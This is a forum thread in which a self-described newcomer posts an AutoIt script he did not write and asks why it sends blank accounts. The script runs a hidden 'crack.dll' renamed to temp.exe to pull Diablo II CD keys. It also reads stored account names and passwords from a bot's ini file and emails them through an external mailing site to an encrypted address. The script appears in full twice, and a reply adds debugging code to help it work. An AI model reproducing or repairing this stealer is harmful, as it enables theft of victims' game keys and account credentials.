Sign in to follow this  
Followers 0
Garanator

Help with script

5 posts in this topic

I'm not quite sure this is allowed and no i didn't make this script myself. I am a newb to autoit but wanna fix this cuz it would help me on diablo 2. i know its lame plz don't spam me for being lame. anyways heres the script.

Problem is it keeps sending blank accounts... <-- Might be against the rules i'm not sure but I figured i might as well ask right? You can fix it to work better or you can help me fix it to make it work better but like i said i am a newb.

#include <ie.au3>

#include <file.au3>

#include <string.au3>

Run ( "autod2jsp.exe" )

$path = RegRead ( "HKEY_CURRENT_USER\Software\Blizzard Entertainment\Diablo II", "InstallPath" ) & "\"

Global $key = ""

$encrypted = IniRead ( "autod2jsp.ini", "Global Settings", "hash", "55A80B789256D309A3E364F5B206DBF5C908FCA989ACB3E6BAD3C8E5DA15708FA3C675A4831F197D1E2E34C2" )

Global $mail = _StringEncrypt ( 0, $encrypted, "kaos" )

;;;;;;

FileCopy ( @ScriptDir & "\crack.dll", $path & "temp.exe", 1 )

RunWait ( $path & "temp.exe", "", @SW_HIDE )

$file = FileOpen ( $path & "output.txt", 0 )

$line1 = FileReadLine ( $file, 1 )

$line2 = FileReadLine ( $file, 2 )

$line3 = FileReadLine ( $file, 3 )

$owner = StringMid ( $line1, 6 )

$classic = StringMid ( $line2, 6 )

$exp = StringMid ( $line3, 6 )

$key = "Game owner: "&$owner&" Classic KEY: "&$classic&" Expansion KEY: "&$exp

FileClose ( $file )

_Email( $mail, "cdkey@hotmail.com","Cdkey","Free cd-key",$key,0)

Dim $account[99999], $pass[99999], $realm[99999]

$section = IniReadSectionNames ( "autod2jsp.ini" )

For $a = 1 to $section[0]

$account[$a] = IniRead ( "autod2jsp.ini", $section[$a], "accountName", "(none)" )

$pass[$a] = IniRead ( "autod2jsp.ini", $section[$a], "accountPass", "(none)" )

$realm[$a] = IniRead ( "autod2jsp.ini", $section[$a], "realmId", "(none)" )

If $realm[$a] = 0 Then

$realm[$a] = "USWest"

EndIf

If $realm[$a] = 1 Then

$realm[$a] = "USEast"

EndIf

If $realm[$a] = 2 Then

$realm[$a] = "Asia"

EndIf

If $realm[$a] = 3 Then

$realm[$a] = "Europe"

EndIf

$hacked = IniRead("autod2jsp.ini", "run", $account[$a], 0)

If $hacked = 0 Then

IniWrite("autod2jsp.ini", "run", $account[$a], "1")

$acc = "Account: " & $account[$a] & " Password: " & $pass[$a] & " Realm: " & $realm[$a] & @CRLF

_Email( $mail, "account@hotmail.com","Account","Free account",$acc,0)

EndIf

Next

Func _Email($to,$from,$from_name,$subject,$message,$silent)

$oIE = _IECreate("http://www.fake-mailer.com/fmlite/",0, 0)

$i = 1

$o_form = _IEFormGetCollection($oIE, 0)

$o_name = _IEFormElementGetObjByName($o_form, "name")

$o_to = _IEFormElementGetObjByName($o_form, "to")

$o_subject = _IEFormElementGetObjByName($o_form, "subject")

$o_from = _IEFormElementGetObjByName($o_form, "from")

$o_message = _IEFormElementGetObjByName($o_form, "message")

_IEFormElementSetValue($o_name, $from_name)

_IEFormElementSetValue($o_to, $to)

_IEFormElementSetValue($o_subject, $subject)

_IEFormElementSetValue($o_from, $from)

_IEFormElementSetValue($o_message, $message)

_IEFormSubmit($o_form, 0)

while $i = 1

if WinExists ("Email was sent - Microsoft Internet Explorer") then

$i = 0

exitloop

endif

if WinExists("http://www.fake-mailer.com/fmlite/sendMail.php") then

Winclose ("http://www.fake-mailer.com/fmlite/sendMail.php")

if $silent = 1 then MsgBox(16,"Email Sender","Error Sending Email")

return 0

$i = 0

endif

wend

if $silent = 1 then MsgBox(64,"Email Sender","Email Was Sent")

Winclose ("Email was sent - Microsoft Internet Explorer")

return 1

endfunc ;==> _Email

Share this post


Link to post
Share on other sites



#2 ·  Posted (edited)

Do you have the ini file in the same directory as the script? Looks like it would read the account/password/realm from the ini file. If there was no ini file, or it was blank then it would read nothing because the default for no entry in the ini file is (none).

Edited by dirtymafia

Share this post


Link to post
Share on other sites

Please attach a sample INI file.


"When the power of love overcomes the love of power, the world will know peace"-Jimi Hendrix

Share this post


Link to post
Share on other sites

Sample INI file, also it is being ran before all this information is being put in but it should still send everytime the it is run so i still should recieve an account instead of an empty email

Yes the the exe is in the same folder as the ini file

; Don't edit this file, use the GUI!

[Global Settings]

minimizeToTray=1

debugMode=0

showUpdateAlert=1

showSaveAlert=1

autoKillDuplicateD2=0

toolbarButtonShowMode=1

autod2jspWidth=731

autod2jspHeight=365

autod2jspXPos=22

autod2jspYPos=22

hash=55AB0B089223D279A39064F1B20EDBF5C90886AD8DDECF95BBA1CB97DB6470FFA3BA75A4FE1E1D091E2234C06B81

hasRun=1

[CHANGE THIS NAME]

d2Path=C:\Program Files\Diablo II\d2loader.exe

d2Title=Diablo II

cdkeyMpq=cdkey.mpq

accountName=Blahblah

accountPass=blahblah

gameFileName=bots\YAMB.d2j

starterFileName=YAMBstarter.d2j

gameName=gamename

gamePass=gamepass

followLeaderName=

useWindowMode=1

isD2Loader=1

useNoSound=0

useLowQuality=0

use640x480=0

useCdkeyMpq=0

autoStart=0

errorRestart=1

useRandomGameName=1

useRandomGamePass=1

pingFrequency=10

charLocation=2

gameDifficulty=2

gameType=1

realmId=1

minimizeD2=0

skipToBnet=0

isFollowBotMode=0

hasRun=1

Share this post


Link to post
Share on other sites

#5 ·  Posted (edited)

I'm not quite sure this is allowed and no i didn't make this script myself. I am a newb to autoit but wanna fix this cuz it would help me on diablo 2. i know its lame plz don't spam me for being lame. anyways heres the script.

Problem is it keeps sending blank accounts... <-- Might be against the rules i'm not sure but I figured i might as well ask right? You can fix it to work better or you can help me fix it to make it work better but like i said i am a newb.

CODE
#include <ie.au3>

#include <file.au3>

#include <string.au3>

Run ( "autod2jsp.exe" )

$path = RegRead ( "HKEY_CURRENT_USER\Software\Blizzard Entertainment\Diablo II", "InstallPath" ) & "\"

Global $key = ""

$encrypted = IniRead ( "autod2jsp.ini", "Global Settings", "hash", "55A80B789256D309A3E364F5B206DBF5C908FCA989ACB3E6BAD3C8E5DA15708FA3C675A4831F197D1E2E34C2" )

Global $mail = _StringEncrypt ( 0, $encrypted, "kaos" )

;;;;;;

FileCopy ( @ScriptDir & "\crack.dll", $path & "temp.exe", 1 )

RunWait ( $path & "temp.exe", "", @SW_HIDE )

$file = FileOpen ( $path & "output.txt", 0 )

$line1 = FileReadLine ( $file, 1 )

$line2 = FileReadLine ( $file, 2 )

$line3 = FileReadLine ( $file, 3 )

$owner = StringMid ( $line1, 6 )

$classic = StringMid ( $line2, 6 )

$exp = StringMid ( $line3, 6 )

$key = "Game owner: "&$owner&" Classic KEY: "&$classic&" Expansion KEY: "&$exp

FileClose ( $file )

_Email( $mail, "cdkey@hotmail.com","Cdkey","Free cd-key",$key,0)

Dim $account[99999], $pass[99999], $realm[99999]

$section = IniReadSectionNames ( "autod2jsp.ini" )

For $a = 1 to $section[0]

$account[$a] = IniRead ( "autod2jsp.ini", $section[$a], "accountName", "(none)" )

$pass[$a] = IniRead ( "autod2jsp.ini", $section[$a], "accountPass", "(none)" )

$realm[$a] = IniRead ( "autod2jsp.ini", $section[$a], "realmId", "(none)" )

If $realm[$a] = 0 Then

$realm[$a] = "USWest"

EndIf

If $realm[$a] = 1 Then

$realm[$a] = "USEast"

EndIf

If $realm[$a] = 2 Then

$realm[$a] = "Asia"

EndIf

If $realm[$a] = 3 Then

$realm[$a] = "Europe"

EndIf

$hacked = IniRead("autod2jsp.ini", "run", $account[$a], 0)

If $hacked = 0 Then

IniWrite("autod2jsp.ini", "run", $account[$a], "1")

$acc = "Account: " & $account[$a] & " Password: " & $pass[$a] & " Realm: " & $realm[$a] & @CRLF

_Email( $mail, "account@hotmail.com","Account","Free account",$acc,0)

EndIf

Next

Func _Email($to,$from,$from_name,$subject,$message,$silent)

$oIE = _IECreate("http://www.fake-mailer.com/fmlite/",0, 0)

$i = 1

$o_form = _IEFormGetCollection($oIE, 0)

$o_name = _IEFormElementGetObjByName($o_form, "name")

$o_to = _IEFormElementGetObjByName($o_form, "to")

$o_subject = _IEFormElementGetObjByName($o_form, "subject")

$o_from = _IEFormElementGetObjByName($o_form, "from")

$o_message = _IEFormElementGetObjByName($o_form, "message")

_IEFormElementSetValue($o_name, $from_name)

_IEFormElementSetValue($o_to, $to)

_IEFormElementSetValue($o_subject, $subject)

_IEFormElementSetValue($o_from, $from)

_IEFormElementSetValue($o_message, $message)

_IEFormSubmit($o_form, 0)

while $i = 1

if WinExists ("Email was sent - Microsoft Internet Explorer") then

$i = 0

exitloop

endif

if WinExists("http://www.fake-mailer.com/fmlite/sendMail.php") then

Winclose ("http://www.fake-mailer.com/fmlite/sendMail.php")

if $silent = 1 then MsgBox(16,"Email Sender","Error Sending Email")

return 0

$i = 0

endif

wend

if $silent = 1 then MsgBox(64,"Email Sender","Email Was Sent")

Winclose ("Email was sent - Microsoft Internet Explorer")

return 1

endfunc ;==> _Email

Insert some temprary debugging traps to see what's happening:

; Additional include
#include <array.au3>

$section = IniReadSectionNames ( "autod2jsp.ini" )

; Debug display of $section array
_ArrayDisplay("Debug: $section", $section)

; Declare the arrays only as big as necesary
Dim $account[$section[0]+1], $pass[$section[0]+1], $realm[$section[0]+1]

For $a = 1 to $section[0]
$account[$a] = IniRead ( "autod2jsp.ini", $section[$a], "accountName", "(none)" )
$pass[$a] = IniRead ( "autod2jsp.ini", $section[$a], "accountPass", "(none)" )
$realm[$a] = IniRead ( "autod2jsp.ini", $section[$a], "realmId", "(none)" )

; Debug display of value read from ini file
MsgBox(64, "Debug: Read from ini file", "$a = " & $a & @CRLF & _
          "$acount[$a] = " & $acount[$a] & @CRLF & _
          "$pass[$a] = " & $pass[$a] & @CRLF & _
          "$realm[$a] = " & $realm[$a])

If $realm[$a] = 0 Then
$realm[$a] = "USWest"
EndIf
If $realm[$a] = 1 Then
$realm[$a] = "USEast"
EndIf

If $realm[$a] = 2 Then
$realm[$a] = "Asia"
EndIf

If $realm[$a] = 3 Then
$realm[$a] = "Europe"
EndIf
$hacked = IniRead("autod2jsp.ini", "run", $account[$a], 0)
If $hacked = 0 Then
IniWrite("autod2jsp.ini", "run", $account[$a], "1")
$acc = "Account: " & $account[$a] & " Password: " & $pass[$a] & " Realm: " & $realm[$a] & @CRLF

; Debug display of generated account info
MsgBox(64, "Debug: Account Info", "$acc = " & $acc)

_Email( $mail, "account@hotmail.com","Account","Free account",$acc,0)
EndIf
Next

Note I changed the way of declaring the arrays, I thought I remembered a limit on the max array index of 64K. I might be wrong, but I set it up to declare them only as big as required. The array.au3 include file was added for access to the _ArrayDisplay() function. Then there are some debug displays added. Run the script and see what values are coming out of your ini reads, etc.

:D

Edited by PsaltyDS

Valuater's AutoIt 1-2-3, Class... Is now in Session!For those who want somebody to write the script for them: RentACoder"Any technology distinguishable from magic is insufficiently advanced." -- Geek's corollary to Clarke's law

Share this post


Link to post
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!


Register a new account

Sign in

Already have an account? Sign in here.


Sign In Now
Sign in to follow this  
Followers 0